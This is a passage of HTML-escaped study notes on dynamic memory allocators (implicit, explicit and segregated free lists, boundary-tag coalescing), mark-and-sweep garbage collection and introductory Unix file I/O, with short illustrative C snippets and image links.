&lt;li&gt;Join (coalesce) with next/previous blocks, if they are free
&lt;ul&gt;
&lt;li&gt;Coalescing with next block&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.26lsky9ul8.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;void free_block(ptr p) {
  *p = *p &amp;amp; -2;         // clear allocated flag
  next = p + *p;        // find next block
  if ((*next &amp;amp; 1) == 0)
    *p = *p + *next;    // add to this block if
}                       // not allocated
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;But how do we coalesce with previous block ?&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Bidirectional Coalescing&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;em&gt;Boundary tags&lt;/em&gt; [Knuth73]
&lt;ul&gt;
&lt;li&gt;Replicate size/allocated word at &quot;bottom&quot; (end) of free blocks&lt;/li&gt;
&lt;li&gt;Allows us to traverse the &quot;list&quot; backwards, but requires extra space&lt;/li&gt;
&lt;li&gt;Important and general technique !&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.175p7t1o10.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;Constant Time Coalescing&lt;/h4&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.70anh3q3vv.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h5&gt;Case 1&lt;/h5&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2obu9k7i8c.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h5&gt;Case 2&lt;/h5&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.60uk3xpdgb.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h5&gt;Case 3&lt;/h5&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.4xuut1u639.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h5&gt;Case 4&lt;/h5&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.51egqrns7m.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;Disadvantages of Boundary Tags&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Internal fragmentation&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;malloc&lt;/strong&gt;&apos;d blocks don&apos;t need the footer tag&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Implicit Lists Summary&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Implementation: very simple&lt;/li&gt;
&lt;li&gt;Allocate cost:
&lt;ul&gt;
&lt;li&gt;Linear time worst case&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Free cost:
&lt;ul&gt;
&lt;li&gt;Constant time worst case&lt;/li&gt;
&lt;li&gt;Even with coalescing&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Memory usage:
&lt;ul&gt;
&lt;li&gt;Will depend on placement policy&lt;/li&gt;
&lt;li&gt;First-fit, next-fit or best-fit&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Not used in practice for &lt;strong&gt;malloc&lt;/strong&gt;/&lt;strong&gt;free&lt;/strong&gt; because of linear-time allocation
&lt;ul&gt;
&lt;li&gt;Used in many special purpose applications&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;However, the concepts of splitting and boundary tag coalescing are general to all allocators&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Explicit List&lt;/h3&gt;
&lt;h4&gt;Explicit Free Lists&lt;/h4&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.sz9hl07hh.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Maintain list(s) of free blocks, not all blocks&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &quot;next&quot; free block could be anywhere
&lt;ul&gt;
&lt;li&gt;So we need to store forward/back pointers, not just sizes&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Still need boundary tags for coalescing&lt;/li&gt;
&lt;li&gt;Luckily we track only free blocks, so we can use payload area&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Logically&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.9rjpptl2pw.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Physically
&lt;ul&gt;
&lt;li&gt;Blocks can be in any order&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.96a23irl8y.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;Allocating From Explicit Free Lists&lt;/h4&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.96a23iucj4.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;Freeing With Explicit Free Lists&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Insertion policy
&lt;ul&gt;
&lt;li&gt;LIFO (last-in-first-out) policy
&lt;ul&gt;
&lt;li&gt;Insert freed block at the beginning of the free list&lt;/li&gt;
&lt;li&gt;Pro: Simple and constant time&lt;/li&gt;
&lt;li&gt;Con: Studies suggest fragmentation is worse than address ordered&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Address-ordered policy
&lt;ul&gt;
&lt;li&gt;Insert freed blocks so that free list blocks are always in address order: &lt;em&gt;addr(prev) &amp;lt; addr(curr) &amp;lt; addr(next)&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;Pro: Studies suggest fragmentation is lower than LIFO&lt;/li&gt;
&lt;li&gt;Con: Requires search&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h5&gt;Freeing With a LIFO Policy (Case 1)&lt;/h5&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.39lhwikezf.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Insert the freed block at the root of the list&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.8s3mcnt6bl.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h5&gt;Freeing With a LIFO Policy (Case 2)&lt;/h5&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6pntolx1mb.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Splice out successor block, coalesce both memory blocks and insert the new block at the root of the list&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5fkwiagcfc.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h5&gt;Freeing With a LIFO Policy (Case 3)&lt;/h5&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.45zxljzf4.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Splice out predecessor block, coalesce both memory blocks, and insert the new block at the root of the list&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.6bhdxrgljf.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h5&gt;Freeing With a LIFO Policy (Case 4)&lt;/h5&gt;
&lt;p&gt;&amp;lt;cneter&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.51egrg0by7.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/cneter&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Splice out predecessor and successor blocks, coalesce all 3 memory blocks and insert the new block at the root of the list&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.2vf25o9gb5.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h4&gt;Explicit List Summary&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Comparison to implicit list:
&lt;ul&gt;
&lt;li&gt;Allocate is linear time in number of free blocks instead of all blocks
&lt;ul&gt;
&lt;li&gt;Much faster when most of the memory is full&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Slightly more complicated allocate and free since needs to splice blocks in and out of the list&lt;/li&gt;
&lt;li&gt;Some extra space for the links (2 extra words needed for each block)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Most common use of linked lists is in conjunction with segregated free lists
&lt;ul&gt;
&lt;li&gt;Keep multiple linked lists of different size classes, or possibly for different types of objects&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Segregated Free List&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Each &lt;em&gt;size class&lt;/em&gt; of blocks has its own free list&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.lw1m8ofkw.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Often have separate classes for each small size&lt;/li&gt;
&lt;li&gt;For larger sizes: One class for each two-power size&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Seglist Allocator&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Given an array of free lists, each one for some size class&lt;/li&gt;
&lt;li&gt;To allocate a block of size &lt;em&gt;n&lt;/em&gt;:
&lt;ul&gt;
&lt;li&gt;Search appropriate free list for block of size &lt;em&gt;m &amp;gt; n&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;If an appropriate block is found:
&lt;ul&gt;
&lt;li&gt;Split block and place fragment on appropriate list (optional)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;If no block is found, try next larger class&lt;/li&gt;
&lt;li&gt;Repeat until block is found&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;If no block is found:
&lt;ul&gt;
&lt;li&gt;Request additional heap memory from OS (using &lt;code&gt;sbrk()&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;Allocate block of &lt;em&gt;n&lt;/em&gt; bytes from this new memory&lt;/li&gt;
&lt;li&gt;Place remainder as a single free block in largest size class&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;To free a block:
&lt;ul&gt;
&lt;li&gt;Coalesce and place on appropriate list&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Advantages of seglist allocators
&lt;ul&gt;
&lt;li&gt;Higher throughput
&lt;ul&gt;
&lt;li&gt;log time for power-of-two size classes&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Better memory utilization
&lt;ul&gt;
&lt;li&gt;First-fit search of segregated free list approximates a best-fit search of entire heap&lt;/li&gt;
&lt;li&gt;Extreme case: Giving each block its own size class is equivalent to best-fit&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Summary of Key Allocator Policies&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Placement policy
&lt;ul&gt;
&lt;li&gt;First-fit, next-fit, best-fit, etc&lt;/li&gt;
&lt;li&gt;Trades off lower throughput for less fragmentation&lt;/li&gt;
&lt;li&gt;Interesting observation: segregated free lists
&lt;ul&gt;
&lt;li&gt;Approximate a best fit placement policy without having to search entire free list&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Splitting policy
&lt;ul&gt;
&lt;li&gt;When do we go ahead and split free blocks ?&lt;/li&gt;
&lt;li&gt;How much internal fragmentation are we willing to tolerate ?&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Coalescing policy
&lt;ul&gt;
&lt;li&gt;Immediate coalescing: Coalesce each time free is called&lt;/li&gt;
&lt;li&gt;Deferred coalescing: Try to improve performance of free by deferring coalescing until needed. Examples:
&lt;ul&gt;
&lt;li&gt;Coalesce as you scan the free list for &lt;strong&gt;malloc&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;Coalesce when the amount of external fragmentation reaches some threshold&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Garbage Collection&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Automatic reclamation of heap-allocated storage -- application never has to free&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;void foo() {
  int *p = malloc(128);
  return; /* p block is now garbage */
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;Common in many dynamic languages:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Python, Ruby, Java, Perl, ML, Lisp, Mathematica&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Variants (&quot;conservative&quot; garbage collectors) exist for C and C++&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;However, cannot necessarily collect all garbage&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;How does the memory manager know when memory can be freed ?&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;In general we cannot know what is going to be used in the future since it depends on conditionals&lt;/li&gt;
&lt;li&gt;But we can tell that certain blocks cannot be used if there are no pointers to them&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Must make certain assumptions about pointers&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Memory manager can distinguish pointers from non-pointers&lt;/li&gt;
&lt;li&gt;All pointers point to the start of a block&lt;/li&gt;
&lt;li&gt;Cannot hide pointers (e.g., by coercing them to an &lt;strong&gt;int&lt;/strong&gt;, and then back again)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Classical GC Algorithms&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Mark-and-sweep collection (McCarthy, 1960)
&lt;ul&gt;
&lt;li&gt;Does not move blocks (unless you also &quot;compact&quot;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Reference counting (Collins, 1960)
&lt;ul&gt;
&lt;li&gt;Does not move blocks&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Copying collection (Minsky, 1963)
&lt;ul&gt;
&lt;li&gt;Moves blocks&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Generational Collectors (Lieberman and Hewitt, 1983)
&lt;ul&gt;
&lt;li&gt;Collection based on lifetimes
&lt;ul&gt;
&lt;li&gt;Most allocations become garbage very soon&lt;/li&gt;
&lt;li&gt;So focus reclamation work on zones of memory recently allocated&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Memory as a Graph&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;We view memory as a directed graph
&lt;ul&gt;
&lt;li&gt;Each block is a node in the graph&lt;/li&gt;
&lt;li&gt;Each pointer is an edge in the graph&lt;/li&gt;
&lt;li&gt;Locations not in the heap that contain pointers into the heap are called &lt;em&gt;root&lt;/em&gt; nodes (e.g. registers, locations on the stack, global variables)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5mo4du972h.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A node (block) is &lt;em&gt;reachable&lt;/em&gt; if there is a path from any root to that node&lt;/li&gt;
&lt;li&gt;Non-reachable nodes are &lt;em&gt;garbage&lt;/em&gt; (cannot be needed by the application)&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Mark and Sweep Collecting&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Can build on top of &lt;strong&gt;malloc&lt;/strong&gt;/&lt;strong&gt;free&lt;/strong&gt; package
&lt;ul&gt;
&lt;li&gt;Allocate using &lt;strong&gt;malloc&lt;/strong&gt; until you &quot;run out of space&quot;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;When out of space:
&lt;ul&gt;
&lt;li&gt;Use extra &lt;em&gt;mark bit&lt;/em&gt; in the head of each block&lt;/li&gt;
&lt;li&gt;Mark: Start at roots and set mark bit on each reachable block&lt;/li&gt;
&lt;li&gt;Sweep: Scan all blocks and free blocks that are not marked&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.77dvdbc32w.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h3&gt;Assumptions For a Simple Implementation&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Application
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;new(n)&lt;/code&gt;: returns pointer to new block with all locations cleared&lt;/li&gt;
&lt;li&gt;&lt;code&gt;read(b, i)&lt;/code&gt;: read location &lt;code&gt;i&lt;/code&gt; of block &lt;code&gt;b&lt;/code&gt; into register&lt;/li&gt;
&lt;li&gt;&lt;code&gt;write(b, i, v)&lt;/code&gt;: write &lt;code&gt;v&lt;/code&gt; into location &lt;code&gt;i&lt;/code&gt; of block &lt;code&gt;b&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Each block will have a header word
&lt;ul&gt;
&lt;li&gt;Addressed as &lt;code&gt;b[-1]&lt;/code&gt;, for a block &lt;code&gt;b&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Used for different purposes in different collectors&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Instructions used by the Garbage Collector
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;is_ptr(p)&lt;/code&gt;: determines whether &lt;code&gt;p&lt;/code&gt; is a pointer&lt;/li&gt;
&lt;li&gt;&lt;code&gt;length(b)&lt;/code&gt;: returns the length of block &lt;code&gt;b&lt;/code&gt;, not including the header&lt;/li&gt;
&lt;li&gt;&lt;code&gt;get_roots()&lt;/code&gt;: returns all the roots&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Example&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;Mark using depth-first traversal of the memory graph&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;ptr mark(ptr p) {
  if (!is_ptr(p)) return;       // do nothing if not pointer
  if (markBitSet(p)) return;    // check if already marked
  setMarkBit(p);                // set the mark bit
  for (i=0; i &amp;lt; length(p); i++) // call mark on all words
    mark(p[i]);                 // in the block
  return;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Sweep using lengths to find next block&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;ptr sweep(ptr p, ptr end) {
  while (p &amp;lt; end) {
    if markBitSet(p)
      clearMarkBit();
    else if (allocateBitSet(p))
      free(p);
    p += length(p);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Conservative Mark &amp;amp; Sweep in C&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;A &quot;conservative garbage collector&quot; for C programs
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;is_ptr()&lt;/code&gt; determines if a word is a pointer by checking if it points to an allocated block of memory&lt;/li&gt;
&lt;li&gt;But, in C pointers can point to the middle of a block&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.5xay70tuij.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;So how to find the beginning of the block ?
&lt;ul&gt;
&lt;li&gt;Can use a balanced binary tree to keep track of all allocated blocks (key is start-of-block)&lt;/li&gt;
&lt;li&gt;Balanced-tree pointers can be stored in header (use two additional words)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&amp;lt;center&amp;gt;
&amp;lt;img src=&quot;https://v6.gh-proxy.org/https://github.com/CuB3y0nd/picx-images-hosting/raw/master/.102hd6hgaj.avif&quot; alt=&quot;&quot; /&amp;gt;
&amp;lt;/center&amp;gt;&lt;/p&gt;
&lt;h1&gt;System-Level I/O&lt;/h1&gt;
&lt;h2&gt;Unix I/O&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;A Linux file is a sequence of &lt;em&gt;m&lt;/em&gt; bytes&lt;/li&gt;
&lt;li&gt;All I/O devices are represented as files&lt;/li&gt;
&lt;li&gt;Even the kernel is represented as a file
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/boot/vmlinuz-3.13.0-55-generic&lt;/code&gt;: kernel image&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/proc&lt;/code&gt;: kernel data structures&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;File Types&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Each file has a type indicating its role in the system
&lt;ul&gt;
&lt;li&gt;Regular file: Contains arbitrary data&lt;/li&gt;
&lt;li&gt;Directory: Index for a related group of files&lt;/li&gt;
&lt;li&gt;Socket: For communicating with a process on another machine&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;And more file types...
&lt;ul&gt;
&lt;li&gt;Named pipes (FIFOs)&lt;/li&gt;
&lt;li&gt;Symbolic links&lt;/li&gt;
&lt;li&gt;Character and block devices&lt;/li&gt;
&lt;li&gt;...&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Regular Files&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;A regular file contains arbitrary data&lt;/li&gt;
&lt;li&gt;Applications open distinguish between text files and binary files
&lt;ul&gt;
&lt;li&gt;Text files are regular files with only ASCII or Unicode characters&lt;/li&gt;
&lt;li&gt;Binary files are everything else
&lt;ul&gt;
&lt;li&gt;e.g., object files, JPEG images&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Kernel doesn&apos;t know the difference !&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Text file is sequence of text lines
&lt;ul&gt;
&lt;li&gt;Text line is sequence of chars terminated by newline char &lt;code&gt;\n&lt;/code&gt;
&lt;ul&gt;
&lt;li&gt;Newline is &lt;code&gt;0x0a&lt;/code&gt;, same as ASCII line feed character LF&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;End Of Line (EOL) indicators in different systems:
&lt;ul&gt;
&lt;li&gt;Linux and Mac OS: &lt;code&gt;\n&lt;/code&gt; (&lt;code&gt;0x0a&lt;/code&gt;)
&lt;ul&gt;
&lt;li&gt;Line Feed (LF)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Windows and Internet protocols: &lt;code&gt;\r\n&lt;/code&gt; (&lt;code&gt;0x0d&lt;/code&gt; &lt;code&gt;0x0a&lt;/code&gt;)
&lt;ul&gt;
&lt;li&gt;Carriage return (CR) followed by line feed (LF)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Directories&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Directory consists of an array of links
&lt;ul&gt;
&lt;li&gt;Each link maps a filename to a file&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Each directory contains at least two entries
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;.&lt;/code&gt; (dot) is a link to itself&lt;/li&gt;
&lt;li&gt;&lt;code&gt;..&lt;/code&gt; (dot dot) is a link to the parent directory&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Directory Hierarchy&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;All files are organized as a hierarchy anchored by root directory named &lt;code&gt;/&lt;/code&gt; (slash)&lt;/li&gt;
&lt;li&gt;Kernel maintains current working directory (cwd) for each process&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;Opening Files&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;Opening a file informs the kernel that you are getting ready to access that file&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code&gt;int fd; /* file descriptor */

if ((fd = open(&quot;/etc/hosts&quot;, O_RDONLY)) &amp;lt; 0) {
  perror(&quot;open&quot;);
  exit(1);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;ul&gt;
&lt;li&gt;Returns a small identifying integer &lt;em&gt;file descriptor&lt;/em&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;fd == -1&lt;/code&gt; indicates that an error occurred&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Each process created by a linux shell begins life with three open files associated with a terminal:
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;0&lt;/code&gt;: standard input (&lt;code&gt;stdin&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;1&lt;/code&gt;: standard output (&lt;code&gt;stdout&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;2&lt;/code&gt;: standard error (&lt;code&gt;stderr&lt;/code&gt;)&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
